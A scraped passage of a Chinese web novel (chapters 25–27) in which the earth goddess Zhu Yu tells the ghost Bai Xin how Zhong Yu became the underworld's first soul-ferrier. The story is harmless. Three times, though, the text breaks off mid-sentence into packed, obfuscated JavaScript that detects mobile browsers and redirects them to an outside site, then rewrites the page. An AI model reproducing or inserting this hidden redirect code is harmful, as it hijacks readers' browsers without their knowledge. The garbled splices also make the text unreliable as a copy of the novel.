白心点点头,想到她刚刚说的她是第一个什么都不问的人,不禁好奇:“除我之外,其他的人都问些什么呢?” 听见白心的问题,朱萸叹了口气,表情略微无语:“什么都问。” “房屋、子女、嫁娶、投胎,”她摇着蒲扇,细数道,“还有问老公私房钱藏在哪儿的,她要托梦把她老公骂一顿。” 我勒个豆,白心想,这土地婆当得也不容易。 这种和人打交道的工作最难做了。虽然她不是干这个的,但陈灵作为金牌销售,天天在她耳边吐槽奇葩客户的那些话还历历在耳。 “我又不是百科全书,我哪知道那么多?”朱萸无奈地看了她一眼,“你说是吧?” 原来不知道啊。白心挑了挑眉,她还真以为土地婆神通广大到连别人私房钱藏哪都知道呢。 “对了,还没问你的名字,”朱萸又问道,“你叫什么?” “白心。”白心老老实实回答。 话音刚落,白心就看到朱萸的面前出现了一块投影,和她的手环投影一模一样。 她这才看到朱萸手腕上也戴着一个手环。 只不过她的是白色的,而朱萸是黄色的。 朱萸在屏幕上点了半天,也没找到通讯录,疑惑道:“哎?这玩意儿怎么用来着?” 她眯着眼睛,佝偻着腰,伸着脖子,终于有了一丝百岁老人该有的样子,边挠头边看着屏幕,就差一副老花镜了。 白心走上前去,从背后熟练地点击屏幕,点开通讯录最下一栏,找到了自己那张丑陋的头像。 “我在这里,”她说,“我是引渡人。” “哦哦,”朱萸看着白心的头像,终于松了口气,“谢谢了,还得是年轻人啊。” “不客气。”白心回答,尊老爱幼是每个公民应有的良好品质。 好友申请发了过去,白心立马感觉到手环震动了一下,她点开手环,同意了“土地婆-朱萸”的申请。 这是她的第二个好友了。 她抬起头,看见屏幕上的时间正好是两点。 又过了一天。白心想,离自己投胎只有四十七天了。 “对了,”朱萸关掉手环,问道,“你要在人间待多久?” 嗯?白心回过神,这话和钟槐第一次见她时问的一模一样。 “四十九天,”她回答道,“不过从现在起是四十七天。” 朱萸点点头:“和十年前一样。” 十年前?白心皱眉,什么十年前? 她又想起刚刚下车的时候她也说着什么十年了又来了个之类的话,不禁问道:“十年前谁跟我一样?” “嗯?” 朱萸挑了下眉,语气惊讶:“我看你跟钟小姐那么熟,以为她都告诉你了呢。” 白心:? “告诉我什么?”她问道,心中的疑问越来越大。 “她的姐姐,钟榆,”朱萸回答,“跟你一样死了啊。” 25.被诅咒的孩子 “什么意思?” 听到朱萸的话,白心猛地看向她,心里渐渐升起一种不妙的感觉。 钟榆死了她知道,昨晚钟槐来接她的时候已经告诉了她,但是,什么叫……跟她一样死了? 难道也是煤气中毒?还是同样是意外身亡?还是…… 朱萸看她明显什么都不知道的迷茫表情,叹了口气,往摇椅上一躺,闭上了双眼,手里的蒲扇轻轻扇动:“看来,钟小姐对你还是有所保留啊。” 啧。 白心看她这副话说一半欲言又止吞吞吐吐神神秘秘的样子,忽然觉得有点烦。 其实她并不关心她们到底有什么渊源,但是从两人的交流她大概猜到,她们之间的芥蒂应该和钟槐的姐姐有关。 偏偏钟槐的姐姐钟榆是她的幼儿园旧识,而现在朱萸告诉她,钟榆竟然死得和她一样。 不知道为什么,她感觉到一股巨大的危险正在靠近,让她略微感到不安。 朱萸睁开眼睛,停下摇晃蒲扇的手,朱唇轻启:“你想知道吗?” “想知道,我现在就告诉你,”朱萸定定地看着白心,眼眸微亮,“不想知道的话,你永远也不会知道。” 白心看着朱萸的双眼,轻轻在心里叹了口气。 看来不得不卷入这场战争了。人害怕的往往不是具体的事物,而是未知的恐惧,她想,而战胜恐惧最好的办法,就是面对它。 “我想,”白心说,“请你告诉我全部真相。” 她握紧双拳,做好了接受一切的准备。她知道,这个活了一百二十六年的土地婆和天师的后人钟槐背后一定藏着巨大的秘密,而这个秘密就跟钟榆、还有她有关。 听见白心的回答,朱萸的表情瞬间松动,又恢复了之前慵懒的模样,摇着扇子慢慢说道:“那就请坐吧,故事挺长的,站久了脚疼。” 她的话音刚落,白心就看到她和朱萸之间的空地上出现了一张小方桌和两个凳子,桌面上摆着一壶茶水和几个杯子,旁边甚至还有瓜子花生苹果香蕉等小零食。 “坐吧,”朱萸微微一笑,蒲扇朝着桌子一指,“零食随便吃,都是平时人间上供的贡品,全是好货。” 白心:…… 她的左脸微微抽搐,心说这就是神仙吗,真会享受啊。 正准备坐下,她忽然想到刘晓希还在旁边,连忙对着朱萸问道:“那她呢?你不是还要带她去地府吗?” “无妨,”朱萸回答,重新扇起蒲扇,“反正她进了地府也要排队才能投胎。” 白心点点头,想起来黑无常说的她可以走员工快速通道去投胎,也就是说普通亡魂只能老老实实排队。 果然,权力到哪都是硬通货,她无奈一笑,右手轻拍身旁刘晓希的后背:“去坐吧。” 两人走上前,坐在了小方桌旁的凳子上,凳子很小,刘晓希坐起来略显局促,但对白心来说就是刚刚好了。 “怎么不吃?”朱萸睡在摇椅上,看着两人跟两只哈巴狗一样眼巴巴看着她,桌子上的零食一个也没动。 刘晓希摇摇头,表示不饿。 白心也摇摇头,心说这太难吃了。她从小就讨厌这种大人零食,尤其是瓜子花生,她刚往桌上看了一眼,竟然还有冬瓜糖。 这种咬起来口感像肥肉,吃起来却堪比白砂糖成精,名字淡雅无害,实际却是热量炸弹的糖更是她小时候的天敌,她不明白为什么大人逢年过节就要买它,她宁愿吃辣舌头的红姜片也不愿意碰它。 朱萸看白心把头摇得像拨浪鼓,不禁笑了:“你们小孩子就是嘴巴叼,只爱吃辣条。” 白心看着朱萸的笑脸,眼睛忽然就移不开了。近距离观看,朱萸更是美得惊心动魄,一颦一笑都触人心弦,尤其是那双狐狸似的漂亮眼睛,笑起来似乎真的能摄魂。 她忽然想起小时候看的一个电视剧,叫做画皮,里面吃人的狐狸就是这么漂亮。 朱萸看刚刚还在摇头的白心忽然呆了,以为怎么了,直起身来,伸出手捏了捏白心的脸颊:“喂,你怎么了?” 刘晓希也看呆了,两个人一起对着朱萸发呆。朱萸看两人都这副傻子样,以为有什么道士过来施法了,左看右看,也没看见一个人。 白心被朱萸一捏,瞬间回神,大梦初醒般说道:“人间的人知道你长这样吗?” 要是普通人类知道他们天天供奉的土地婆长得像天上的仙女,还不知道怎么大惊小怪呢。包括她都以为土地婆是个拄着拐佝着腰头发花白牙龈萎缩笑眯眯的老奶奶,不是说老奶奶不好,而是画里就这么画的,土地庙的神像也是这样的。 朱萸这才反应过来白心刚才咋了,松了口气,往后一躺:“知道如何,不知道又如何。” “只有凡人才如此在乎皮囊。”朱萸轻轻一笑。 “那她是谁?”白心朝朱萸身后一指,土地婆的神像就供奉在那里,和朱萸的模样八竿子打不着联系。 “是世人心中的我,”朱萸闭着眼,晃着蒲扇,“神本无相,是他们自己幻化出了相。” 听不懂。白心收回手指,跟猫揣手一样两只手交叠着放在大腿上,问道:“你刚刚说,钟榆是怎么死的?” 正事要紧。打了半天的岔,此刻终于回到正题。 朱萸手里的蒲扇停顿,她放下扇子,睁开眼睛,看着远方的明月,轻轻叹了口气。 “她是一个被诅咒的孩子。” 白心皱眉:“被诅咒?” 朱萸点头,慢慢说道:“她是我见过最善良,最勇敢,却也最可悲,最令人遗憾的孩子。” 白心看着朱萸,没有说话,等待着她继续说。 朱萸放下蒲扇,右手轻轻摸着左手的手环,说道:“二十年前,这个手环被发明了出来,用来提升地府效率,减少黑白无常和其他拘魂使的负担。” “只要给亡魂铐上手铐,再启动手环,就可以直接带着亡魂进入地府,”她继续说,“他们不用再一个个到我这来认证身份,注销户籍,我也因此得到了解放,踏足土地庙的亡灵也因此减少到近乎没有。” 朱萸看着远方,慢慢说道:“但是十年前,突然来了一个女孩。” “女孩?”白心问道。 朱萸点点头:“是黑白无常带来的,那个女孩就是钟槐的姐姐,钟榆。” “她发着一身蓝光,来的时候我正在晒月光浴,以为看错了,”朱萸眉头微皱,缓缓说道,“因为我这里已经很久没有人来了。” 蓝光?白心猛地看向旁边的刘晓希,蓝色代表悲伤,钟榆死的时候有遗憾? 朱萸:“但是我跟范无咎和谢必安都很熟了,所以看到他俩的时候才确定我没看错。” “他们俩说,手环对她无效。” “无效?”白心问道,“怎么个无效?” “就是字面意义上的,”朱萸回答,“给她戴上手铐,启动手环,也进入不了地府。” “为什么?” “不知道,”她摇摇头,“他俩也不知道,所以就把人送我这来了,看看能不能用老办法进入地府。” 朱萸的眉头皱得越发紧:“但是我也无法带她进去。” “我们试了各种方法,都进不去,”朱萸叹了口气,“我们都不知道怎么回事。” “是不是她执念未清?”白心问道,“阿赖耶识没有取出来?” 员工手册里写了,取出灵魂的种子,就可以去地府投胎了。 “不是,”朱萸又摇了摇头,“这个没有必然的联系。” 她说:“只要亡灵自己愿意投胎,不管有没有执念,都是可以的。” “取出阿赖耶识只是为了让那些不愿意投胎的亡魂安心进入地府,”朱萸慢慢解释道,“其实这也是地府管理逐渐人道化的一个体现。” “什么意思?”白心又问道,她好像没太听懂。 朱萸又叹了口气,耐心说道:“在以前,我们可不会管你们有没有执念,死了就必须得走,不管你愿不愿意。” “所以很多人是带着强烈的怨气或者遗憾进入地府的,”她说,“这也导致了后来地府的管理难度加大,轮回系统动不动就崩。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16806869|189383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “包括孟婆汤,很多人喝下去也没什么效果。” 朱萸重新拿起扇子,慢慢摇晃:“所以,为了更好地管理地府,以及亡魂更好的投胎效果,这个手环就发明出来了。” “这个手环可以暂时储存灵魂的种子,所有亡魂都不用像以前那样,必须进入地府才能取出阿赖耶识了。” “也就是说,很多事直接在地面上就解决了。” 白心点点头,她明白了,这确实是个提高效率的好方法,如果能直接在人间取出灵魂种子,亡魂执念清除,进入地府之后就好管理多了。 “就算你有遗憾,或者怨气,”朱萸继续说道,“但只要你愿意进入地府,不管你是红的蓝的还是黑的,那也是可以的。” 她摇着扇子,继续说道:“除非你自己不想进地府,偏要在人间逗留,那就需要来引渡亡魂的人取出阿赖耶识了。” 听到这番话,白心不禁看了一眼旁边的刘晓希,她就是因为想要看见自己孩子才不愿意离开人间。 “但是,”朱萸又说,“我问了她三遍,她都说她愿意跟我走。” “她甚至很想要进入地府。” “啊?”白心不理解,“为什么?” 既然是蓝色的灵魂,那就说明她有遗憾,虽然不知道钟榆的遗愿是什么,但大多数蓝色亡魂应该都是像刘晓希这样的,在人间还有什么想见的人,或者未完成的事吧。 “因为她是钟家的后代。” 朱萸停下摇扇子的手,说道:“进入地府,就可以看见她的祖上。” 白心像被人打了一拳瞬间醒悟了过来,怎么把这茬忘了!钟馗是她的太太太不知道多少个太爷爷,人家想进地府那也是应该的。 “但是,”朱萸又说道,“地府的大门却没有为她敞开。” 嘶——白心皱着眉,突然发现事情既简单又复杂。听到现在,她知道钟榆死了,还带着遗憾,跟她一样进不去地府,但她是钟家的后代,而她只是个普通人,可以说除了同样进不去地府之外也没什么共同点。 但话又说回来,她是钟家的后人,会不会是他们家族内部有什么问题呢?为什么要说她和她一样死了呢? “钟榆是怎么死的?”她问道。 朱萸叹了口气,回答:“高烧。” “她十五岁的时候,感染了流感,然后发了一场高烧,一直昏睡不醒。” 意外。白心明白了,和她一样,死于意外的倒霉蛋子。 “那时候钟槐才九岁,却已经可以提前进入地府了,”朱萸又说道,“按惯例,她们家族的孩子通常要十岁才能开启进入地府的权限。” 钟槐?白心的脑子里浮现出钟槐那张不羁的脸,想到初遇的时候钟槐一秒就看出来她是已死之人。 “所以,所有人都认为钟槐是家族的天才,而钟榆,一直到十五岁也没能进入地府。” 朱萸无奈一笑:“作为钟家的后人,却不能进入地府,活着的时候除了阴阳眼之外什么技能都没有,不能为家族效力。” “甚至连死后,也不能地府,所以人们都说,她是被诅咒的孩子。” 白心皱着眉头,尽力回想,脑子里钟榆的脸却仍然模糊不清,只记得她递过来的那块巧克力,温热的,是她的小小心意。 “那跟我有什么关系?”白心又问道,她还是不明白,怎么钟榆的死就跟她扯上关系了。 “你慢慢听我说。”讲了半天,朱萸也口渴了,拿起桌上的茶壶给自己倒了一杯,匆忙喝下。 喝完,她用手背擦了擦嘴角的水,继续说道:“那时候手环还没现在这么便捷,很多功能都没发明出来,也看不到个人的功德。” “为了找到原因,我和黑白无常只能进入地府去问她的情况,查她的功德簿。” 功德簿?白心心里一惊,她的-99999低得不能再低的功德又浮现在眼前。 “然后呢?”她赶紧问道。 “然后,我们发现,”朱萸咽了口口水,说道,“钟槐已经先我们一步,跪在了阎罗殿前。” 26.引渡人001号 白心和刘晓希都抱着膝盖,一言不发,等待着朱萸继续说下去。 朱萸眉头轻皱,边回想边说:“我跟钟馗打交道少,所以自然不认得钟槐和钟榆她们俩姐妹,但是当我看到她的时候,就知道她肯定是钟榆的妹妹。” “她们长得很像,尤其是眼睛,”朱萸慢慢说道,“只是钟榆长得柔和点,看起来没有钟槐那么凶。” 白心一下就想到了念念,她的眼睛也和刘晓希很像。或许母女、姐妹就是这样,身体里流着部分同样的血,所以自然也长得像。 朱萸轻叹了口气,继续说道:“我们赶到的时候,就看到钟槐跪在阎王面前不断地磕头。” “那时候她才九岁,个子还没窜起来,很小一只,就那么跪在冰凉的大殿里,”朱萸抿了抿嘴唇,说道,“她没哭,只是边磕头边求阎王放过她姐姐。” 白心听得心跟眉毛一样揪了起来,不禁问道:“放过?放过什么?” “不知道,”朱萸摇摇头,“当时我们也是一脸懵。” “我们本来先打算去六案功曹调查她的档案,”她继续说,“没想到里面根本没人,一问才知道是所有人都去阎罗殿了。” “所以我们只能赶到阎罗殿,就看到钟槐一个人跪在殿里,其他人都在两旁站着。” 朱萸又叹了口气:“我们也不好插话,就只能跟着站在旁边。” 白心听得有些入神,问道:“然后呢?” “然后,”朱萸又给自己倒了杯茶,润了润嗓子,“然后身边掌管功德簿的那个鬼告诉我,她姐姐的功德簿一片空白。” “一片空白?”白心皱眉,“什么意思?” “就是说,上面没有数据,”朱萸放下茶杯,继续说道,“换句话说,就是无法计算她的功德。” “啊?”白心听傻了,这是什么走向,“为什么无法计算?” “谁知道。”朱萸耸了耸肩。 她继续道:“总之,没有功德是无法投胎的,所以她才会被地府拒之门外。” “可是,”白心咬着嘴唇,说道,“这不是地府自己的问题吗?” 她不就是这样?功德低于轮回系统最低数值,导致她连地狱都进不去。如果钟榆真的没有功德,那也应该是地府系统的问题啊。 地府科技这么发达,连一个人的功德都算不出来?算不出来就罢了,还把锅甩给本人?这什么世道? “不是,”朱萸却摇摇头,“还有一种可能。” “什么?” “就是她的功德超出整个功德系统的上下限,导致系统崩坏了。” 超过下限她知道,白心想,她自己就是个例子,但是超过上限是什么鬼?还有人功德高到能超出上限的? 朱萸看出白心越发迷惑,解释道:“功德计算方法十分复杂,确实难以理解,但是有一点,就是太高或者太低都是不好的。” “为什么?”白心不解。 朱萸微微眯着眼,看着远方皎洁的明月,说道:“没有人,能够超越六道。” “万事万物讲究一个平衡,”她说,“太极端反而容易生出祸端。” 越来越玄乎了,白心想,这都什么轮七八糟的,她又问道:“然后呢?” 朱萸看着月亮静默了一会儿,继续说:“钟榆只是一个普通的女孩,顶多有一个钟家后人的身份,而且还没有什么特殊能力,十五岁就死了。” “所以,判官判定她的功德是低于了系统下限,”朱萸轻叹口气,“若想投胎转世,必须先进入地狱赎清罪孽。” 听到这,白心终于听懂了。搞了半天,钟榆也跟她一样,都是功德太低导致的投不了胎,在她之前,钟榆已经触发过一次地府轮回系统的BUG了。 “但是,”她又问,“地府不是直接能看到她上一世吗?” 她想起黑无常蹲在她的床头柜上跟她说的,他们权限有限,只管收人不管前世,所以无法知道她的上一世到底做了什么。 她没有能够随意进入地府的家人,但是钟榆不一样,她有钟槐。钟槐或许能够帮她找到她不能投胎的根本原因。 朱萸却摇摇头,说道:“那是更高级别的权限,我们无从知晓。” “但是阎王对判官的判定没有异议,”她说,“那就说明,判官的判定是正确的。” 不会吧?白心想,这是好是坏就是阎王一句话的事? 转念又想,人间的工作绩效不也是领导一句话的事吗。她有点诧异,钟榆的家族好歹也世代为地府效力,真一点面子不给? 朱萸解释道:“除了三生石能够让亡魂看到自己的前世今生,所有关于亡魂转生的资料我们都没有权限查看。” 白心:…… 原来如此,其实还是有办法看到自己的前世的,那就是三生石。但问题就在她们都进不去地府,没办法接触到三生石,从而也看不到自己的前世。 淦! 绕来绕去,兜兜转转又回到了原点。白心听得有点憋屈,听了半天,还是什么有效信息都没有。 同样死于意外、同样功德太低、同样被地府拒之门外、同样投不了胎、同样无法知晓前世……白心想,这样的倒霉蛋子世界上竟然有两个。 而且,这样一看,钟榆显然比她更倒霉。死得比她早、拥有钟家后人的身份却形同虚设、一场感冒就夺走了生命、死的时候还有遗憾……记忆中的女孩又浮现在眼前,她不明白,到底是什么样的罪,连地狱都容纳不下她。 明明她是一个愿意和她分享巧克力、懂得回报的善良的女孩。 “然后呢?”她又问道,这故事明显还没讲完,她想听听后来到底怎么样了。’ 朱萸讲了半天,喉咙都要冒烟了,却还是咽了咽口水继续道:“然后就是我最开始看到的那一幕了,钟槐为了不让她姐姐进入地狱,一直给阎王磕头。” “要我说阎王还真是美女皮囊,罗刹心肠啊,”朱萸说,“钟槐的额头都磕出血了,鼓了几个大包,她还是跟没看到似的,眼皮都不抬一下。” 阎王…… 白心忽然想到她和钟槐的初见,钟槐亲切地称呼阎王为姐姐,怎么…… “等到钟槐磕不动了,倒在地上,她才说好了,把她抬下去。”朱萸白眼一翻,无语至极。 “然后呢?”刘晓希也发问,明显听得入了迷。 “然后阎王突然站起来宣布,她同意钟榆暂时不入地狱。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16811442|189383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”朱萸回答。 “啊?” 白心和刘晓希两人齐声发出疑问,这是什么操作?怎么一会儿入一会儿不入的,这地狱是厕所吗想进就进想出就出? 朱萸又给自己倒了杯水喝下去,继续说道:“你知道她接下来干了件什么事儿吗?” “什么?”两人听得如痴如醉,生怕错过朱萸一句话。 朱萸嘴巴一撇:“她当场给我们开了个会。” 白心:? “神经吧?”朱萸无语道,“我最讨厌的就是开会了。” 白心惊呆了,怎么地府的领导也喜欢随地大小会? 她问:“开什么会呢?” 朱萸把手里杯子重新放回桌子上,回答道:“关于新增引渡人职位的工作会议。” 引渡人?白心忽然听到这个熟悉的词语,这不就是她现在的职位吗?怎么突然又扯到这了? “大概意思就是,现在地府缺人缺得厉害,高层们商议了一个方案,就是从现有的还未到投胎时间的亡魂里挑选出可以帮忙在人间引渡亡魂的人,以功德点作为奖励。” “而钟榆,就是这个方案的第一个人选,”她说道,“也就是引渡人001号。” 什么?白心脑子忽然乱了,怎么一切就这么串起来了,引渡人001号? 原来引渡人是这么来的?她想起黑无常那张无奈的脸,他告诉她引渡人是这几年才设立的,人间亡魂数量激增,他们忙不过来,由此成立了引渡人和捉鬼师,从而减轻拘魂使们的负担。 但她没想到,钟榆竟然是第一个引渡人?不知道为什么,她的直觉告诉她隐约有哪里不太对劲,这一切好像太理所当然、太顺了点。 就像一个莫比乌斯环,你以为走在不同的面上,然而忽然在某一点,所有的面都连起来了。 “后来我们才知道,阎王也算是网开一面了,”朱萸继续说道,“钟榆也是不幸中的万幸,恰好赶上了这个职位设立,不然就要进地狱了。” “也是那个时候,捉鬼师也正式成立了,以前都是民间的散养组织,没有地府正式编制的。” 朱萸轻轻一笑:“所以,钟槐和钟榆这俩姐妹,一个是捉鬼师一个是引渡人,两人又开开心心地待了一段时间。” “从那个时候起,钟槐和阎王的关系就好起来了,阎王也宠她,把她当自己的妹妹对待。” 白心点点头,到这里她听懂了,她也明白为什么她刚死的时候黑白无常会提议让她去打工了。 这条路钟榆早就替她走过一遍了。 但是还有一点,她又问道:“那你说的她跟我一样,是指她也需要在人间待满四十九天吗?” “是,”朱萸点头,回答道,“有了引渡人的身份,就是地府的员工,就可以走投胎快速通道,四十九天后就能直接投胎了。” “那……”白心欲言又止。 还有最后一个问题,她有些问不出口。 “但是,”朱萸却先一步说道,“到最后一天的时候,突然出事了。” 白心心里一震,脑海里闪过暴雨里钟槐流泪的脸,大雨倾盆,她告诉她,姐姐死了。 “什么事?”她咬了咬嘴唇,问道。 27.白色机车 白心话音刚落,朱萸就像屁股被针扎了一样从摇椅上跳了起来,举起拳头在自己脑袋上捶了一拳。 “哎哟——”她边捶脑袋边说,“忘了大事了!” “怎么了?”白心被她吓一跳,不明所以,“什么大事?” 朱萸没有回答她,而是迅速拉着同样不明所以的刘晓希的胳膊让她站起来,边拉边催促道:“快快快,来不及了!” 白心也立马站了起来,不知道朱萸这是咋了,刚刚还悠哉悠哉地躺在摇椅上讲故事,现在跟地球马上要爆炸了一样急得不行。 两人刚站起来,朱萸用来待客的小方桌和她的摇椅瞬间消失,土地庙前立刻变成了光秃秃一片。 “你要上厕所吗?”白心问道,她只有憋不住了的时候才会这么急。 “上个屁呀上!”朱萸拉着刘晓希转身就往土地庙的神像跑,“神仙才不会拉屎!” 白心:…… 原来神仙真的不会拉屎啊。 她看着两人狂奔的背影,突然想起小时候自己看见电视里的那些漂亮得像神仙的明星,以为那样光鲜亮丽的人不会拉屎。后来学会了上网,才知道跟她有一样想法的人不是一个两个,真的有很多人以为明星不会拉屎。 “我忘了大事了!”朱萸牵着刘晓希,站在土地婆的神像前,转身对着白心说道,“今晚阎王要给我们开会!” 白心:……? 刚说完,白心就看到两人脚下亮起一道黄色光柱,像演唱会歌手下台一样,两个人在光柱里缓缓降了下去。 刘晓希举起手和白心道别:“再见了,白心。” 朱萸也举起一只手,对着愣在原地的白心挥了挥:“反正你有我的联系方式,故事明天再讲也不迟。” 白心看着两人,也慢慢举起右手,手刚升到半空,光柱猛然一亮,然后暗了下来。 两个人不见了。 还没跟刘晓希拜拜呢。白心的手停在半空,四周暗淡无光,寂静无比,只有远处的蝉鸣蛙鸣。 罢了。她把手放下来,看着前方慈祥和蔼的土地婆神像,笑了笑。 说不定四十七天后,等到她去投胎,还能看见排队的刘晓希呢。白心微微一笑,手腕忽然一震。 她抬起手腕,点开手环,朱萸弹出一条消息:快把她的灵魂种子发给我! 白心:…… 现在才想起找她要灵魂种子。白心有点无语,钟槐那句癫婆又在耳边响起。 她只好点开背包,点击那团蓝色光芒,右下角弹出几个选项,其中就有一项“发送”。 她又点了几下,屏幕弹出一条:是否确认将该阿赖耶识发送给土地婆-朱萸? 她点头,“是”。 那团象征着刘晓希执念的蓝光瞬间从她的背包里消失了,屏幕里又弹出一条消息,显示阿赖耶识已成功发送给朱萸。 正打算关掉背包,手环又是一震,屏幕里出现几个大字:您的好友捉鬼师-钟槐赠予您一项物品,是否确认接收? 嗯? 什么东西?白心的眼皮猛地一跳,钟槐和朱萸对峙时那副不高兴的表情浮现在她眼前。 她点开屏幕上那个跟游戏里一样还扎着蝴蝶结的象征着礼物的盒子,一道白光就出现在了屏幕上。 这流畅的线型、这华贵的做工、这不菲的漆面…… 钟槐把机车送给她了?! 白心微张着嘴,看着屏幕里这辆高调拉风的白色机车,一时间不知道该做何反应。 屏幕上方弹出一条消息,发送者正是机车的前主人,那个邪恶微笑的库洛米头像后面跟着三个字:不客气。 然后就像乌龟一样缩了回去。 白心向上看,钟槐的库洛米头像还挂在最上方状态栏,代表着她还没有回复。 这…… 虽然她偶尔也会做一些中彩票之类的白日梦,但真的被豪车砸中,她却有种不知道该如何是好的感觉。 现在是该高兴地仰天大笑吗?她想,还是先道谢再仰天大笑?这车怎么用来着?是不是跟电驴一样油门一拧就行了?上次钟槐怎么用来着?开太快了,好像没看清? 她愣在原地,大脑里卷起了龙卷风般混乱,什么想法都有。比起天降豪车的兴奋,更重要的是,她没开过机车—— 她根本不会用啊!! 这就是山猪吃不来细糠吗,白心伸出手指,点击“确认接收”,屏幕里的系统消息消失,重新回到了背包界面。 学!她想,不会开就学,学无止境! 抬起头,白色的机车安安静静地待在钟槐送她的白色头盔右边的格子里。 她忽然想起,钟槐说这车是她从谢必安手里抢来的。白心想起黑无常那张黑脸,突然笑出声—— 还真是劫富济贫了。 她拉下上方状态栏,点击库洛米头像,在对话框里编辑了两个字:谢谢。 编辑完毕,点击发送。 正准备关掉对话框,钟槐却迅速回复了她的消息。 钟槐:^_^ 一个代表着微笑的颜文字表情。 白心看着面前的表情包,轻轻地笑了。 还是个小孩子。白心想起钟槐青涩稚嫩的脸,还有朱萸讲的她在阎罗殿前疯狂磕头的事迹,突然觉得,哪怕钟槐装得再成熟,她始终还是个孩子。 一个侠气十足,但又单纯善良的,想起姐姐就会流泪的小孩子。 唉。她叹了口气,关掉了对话框,想起钟榆。 究竟发生了什么?白心皱着眉,回想朱萸告诉她的关于钟榆的往事,她仔细盘点,发现有效信息实在太少。 除了钟榆是引渡人001号、跟她一样功德太低无法投胎之外,几乎没什么对她有用的信息。 不对—— 三生石。她突然想到朱萸还说了,三生石可以看到自己的前世。 嘶,她轻吸了口气,微低着头,右手大拇指和食指夹在下巴上思考,倒也不是完全束手无策,只要能想办法进入地府,也就有可能找到她们不能投胎的根本原因。 她不知道还有没有其他办法能够让她安然无恙进入地府,但是目前就有一条—— 认真打工,收集功德。 或许不需要四十九天,她想,只要功德点收集得够快,说不定很快就能达到下限,提前进入地府。 她抬起头,关掉背包界面,迅速点开了接单大厅。 赚功德要紧。她看到屏幕右上角显示的时间,已经凌晨四点半了。 一夜又要结束了。 刚一点开,手环的声音就响起:恭喜您完成任务,获得功德点2000点,您目前的功德点为-97999点,等级为Lv1,您的移速、穿墙等能力均有所提升。 声音结束,白心看到屏幕弹出的方框里写着的也是这些。 2000点?白心疑惑,不是888点吗? 下一秒她想起来了,刘晓希在她执行任务的时候升级到了D级,D级任务的功德点为1500-3000点。 她抬起头,看到她头像旁边的功德数值变成了-97999。 同时,她也看到她头像的右边多了一行白色的字,写着等级:Lv1。 等级是啥来着?她记得员工手册里有写,但不记得具体是什么了,因为关于等级的描述在最后面,而那个时候她已经头昏脑涨看不进去了。 她只好抬起手,退出大厅,重新点开员工手册。 不对,她反应过来,人工智能在这,干嘛还手动搜索啊? 白心用抬起的那只手敲了一下自己的脑袋,迅速朝手环问道:“喂,你知道我的等级是怎么回事吗?” 手环立刻回答:“每收集1个灵魂种子,等级提升1级,您的等级现在为Lv1,代表您已经成功收集1个灵魂种子。” 啊,白心想起来了。是的,等级是和阿赖耶识有关。 “等级提升会有什么效果?”她又问道。 手环又回答:“等级越高,您的能力越强,比如移动速度提升、飞行高度提高、穿墙厚度增加等。” 明白了,她昨天出门之所以飘得那么慢,是因为她的等级太低了。她又问道:“目前等级最高的引渡人为多少级?” 手环沉默了几秒,回答道:“根据检索结果,目前等级最高的引渡人为1637级。” 我勒个豆,白心想,这是活 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16819276|189383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 佛在世吗,引渡了这么多人。 不管了,她又点开大厅,不成佛就成魔,她也没得选了,虽然她当不了佛,但她也不想真的成为进入地狱的魔。 白心点开“新任务”,里面空空如也。 没有新的任务。 啧。她啧了一声,感到烦闷,虽然2000点的功德点很多,但她不一定天天都能接到这样的单。 尤其她还是一个功德低穿下限的鬼,只能等别人都不要的任务传到她这来——万一一直等不到,她不就完犊子了。 她看向右上角的时间,已经五点了。 只有一个小时,她就又要回到身体里了。 白心站在原地,静静等待着。她忽然觉得自己这样很蠢,像在等屎直接掉在头上一样。 不对。她又想到,还有一个地方她可以主动去接任务。 角斗场。 她没有犹豫,退出了大厅,点开了工作台的角斗场。 刚一点开,她的手又停住了。 因为她看见天边隐隐约约出现了一丝亮光。白心的手指重新操作起来,角斗场被她关闭,几秒后,一辆奢华无比的白色机车就停在了她的面前。 先回家。 白心看着这辆高大透亮的机车,一咬牙,整个人往座位上一扑。 不要问为什么不跨上去,因为腿不够长。 她个子虽小,但还算灵活,毛毛虫一样一扭一拱,整个人就稳稳当当坐在了机车上。白心又用意念取出手环里的白色头盔戴在头上,两只手稳稳把着车把,身体伏低,两只脚勉强踩在下方的踏板上。 车头上方亮起一块屏幕,和她手环的屏幕一模一样。屏幕里是一块地图,一道低沉富有磁性的女声突然响起:请选择您的目的地。 白心吓得一抖,大喊一声:“谁在说话!” 她的手环立即用清脆甜美的声音回答道:“主人不要惊慌,是您的机车。” 机车也会说话?!白心看着那块屏幕,又惊又无语,地府怎么什么东西都会说人话。 